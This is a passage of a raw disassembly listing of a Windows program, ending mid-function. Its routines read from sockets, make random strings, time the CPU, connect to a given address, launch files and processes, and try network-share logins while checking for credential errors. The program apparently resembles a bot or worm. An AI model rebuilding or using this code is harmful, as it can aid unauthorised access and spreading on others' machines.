loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447759
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 280125Ah
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F60
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F60
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27E0716h
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E74
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E7C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		call	near ptr 77C40AB1h
		nop
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F60
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DC4
		push	ecx
		call	edi
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DC4
		push	0
		call	edi
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443E98
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443E94
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443E90
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E8C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E88
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E84
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E80
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		call	near ptr 71AB406Ah
		nop
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		call	near ptr 27F0000h
		nop
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EA4
		mov	ecx, dword_443EA8
		mov	[esp+0], eax
		mov	al, byte_446F60
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EAC
		rep stosd
		mov	ecx, off_443E9C
		mov	[esp+10h], edx
		mov	dx, word_443EA0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 27A0000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB7C
		push	offset dword_50BB7C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EA4
		mov	ecx, dword_443EA8
		mov	[esp+0], eax
		mov	al, byte_446F60
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EAC
		rep stosd
		mov	ecx, off_443E9C
		mov	[esp+10h], edx
		mov	dx, word_443EA0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 27A0000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
